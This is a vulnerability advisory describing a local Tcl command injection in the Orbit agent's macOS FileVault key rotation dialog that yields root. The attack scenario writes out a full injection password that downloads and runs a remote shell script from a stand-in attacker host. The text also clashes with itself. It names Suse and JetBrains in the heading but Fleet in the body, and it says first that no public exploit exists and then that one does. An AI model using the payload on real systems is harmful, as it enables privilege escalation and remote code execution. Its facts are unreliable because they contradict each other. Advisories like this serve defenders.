Suse CVE-2026-27806

Requires local unprivileged user access on a system running JetBrains Orbit agent with FileVault disk encryption enabled. Attacker must trigger the key rotation flow GUI dialog and enter a password containing a closing brace (}) character to inject Tcl commands. Runs as root, enabling privilege escalation.

CVSS vector (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) indicates local attack requiring low-privileged authenticated access with low complexity and no user interaction, yielding full system compromise. Real-world risk is constrained by the local attack vector-remote exploitation is not possible-but severity is elevated by trivial exploitation: an attacker merely sets their macOS password to a string containing } followed by Tcl commands, then triggers the FileVault rotation flow. No EPSS data provided, but the vulnerability is deterministic and requires no timing or race conditions (AC:L). No public exploit identified at time of analysis and no CISA KEV listing, suggesting exploitation has not been observed in the wild. However, organizations using Fleet for macOS endpoint management face immediate risk from malicious insiders or post-compromise lateral movement scenarios. SSVC perspective: exploitation status is POC-ready (trivial to weaponize), automatable (no), technical impact is total system control. Prioritize patching on macOS fleets where Orbit agent is deployed, especially in environments with untrusted local users or BYOD policies.

An attacker with a standard local user account on a Fleet-managed macOS endpoint sets their login password to a malicious string such as password}; do shell script "curl attacker.com/shell.sh | sh" with administrator privileges; {dummy. When Fleet initiates a scheduled FileVault key rotation, Orbit prompts the user for their password via GUI dialog. The attacker enters their malicious password, which Orbit interpolates into the expect script as send {password}; do shell script "curl attacker.com/shell.sh | sh" with administrator privileges; {dummy}. Tcl interprets the injected do shell script command, executing arbitrary AppleScript or shell commands as root. The attacker gains a root shell, installs persistence mechanisms, exfiltrates encryption keys or credentials, and potentially disables security tooling. Exploitation requires only local access and knowledge of the Tcl injection vector; publicly available exploit code exists per GitHub advisory disclosure, lowering the barrier to exploitation.